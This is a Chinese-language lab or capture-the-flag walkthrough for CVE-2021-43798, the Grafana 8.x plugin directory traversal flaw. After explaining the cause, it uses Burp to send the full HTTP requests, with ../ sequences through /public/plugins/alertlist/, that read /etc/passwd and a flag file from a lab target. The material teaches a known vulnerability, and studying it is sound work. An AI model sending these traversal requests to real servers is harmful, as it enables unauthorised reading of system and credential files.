Grafana 8.x 插件模块目录穿越漏洞(CVE-2021-43798)
实验简介
Grafana是一个开源的度量分析与可视化套件,这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,操作者可以利用…/的方式穿越目录,读取到服务器上的任意文件。此漏洞的利用需要框架中已经下载了插件,没有插件的话无法进行漏洞利用。需要同学提前了解一下burp的基本用法。
实验目的
- 对CVE-2021-43798有一定的了解
- 熟练使用burp的重发模块
- 对linux路径有一定的了解
- 了解目录穿越漏洞的原理
实验流程
- 访问题目所给的web环境
- 抓包发送到重放模块
- 修改数据包,利用目录穿越漏洞得到敏感信息
实验环境
靶机地址:http://10.0.0.124:3000
注:以实际环境靶机为准
实验工具
-
burp
-
浏览器
实验步骤
0x01 准备实验平台
0x02 抓包修改数据包
输入ip:3000即可进入到如下界面,即为环境正常
设置好burp代理,进行抓包,然后发送到重发模块
将数据包替换成我们的数据包进行发送,这样我们可以读取到靶机根目录下/etc/passwd下的敏感信息
我们设置好代理后,抓取一下主页的数据包即可,右键,点击发送到重发器中,如下图所示
然后我们修改发送到重发器的数据包为如下图所示,数据包下面以列出,然后我们就可以获取到/etc/passwd的敏感数据了,下面可以类推,拿到我们想要的flag数据
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 10.0.0.124:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: redirect_to=%2F
Upgrade-Insecure-Requests: 1
因为插件具有目录穿越漏洞,没有对目录的相关权限做出很好的限制,所以我们可以使用…/来进行目录回退,经过…/…/…/…/…/…/…/…/…/…/…/…/…/后我们目录退到了根目录下,那么我们就可以再etc/passwd从而获取敏感信息,flag在根目录下,我们可以直接独处flag
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd
获取flag
利用文件读取漏洞可以读取任意文件,我们在根目录下设置了flag文件,原理同上,只需将数据包中读取flag的位置修改一下即可
GET /public/plugins/alertlist/../../../../../../../../../../../../../flag HTTP/1.1
Host: 10.0.0.124:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: redirect_to=%2F
Upgrade-Insecure-Requests: 1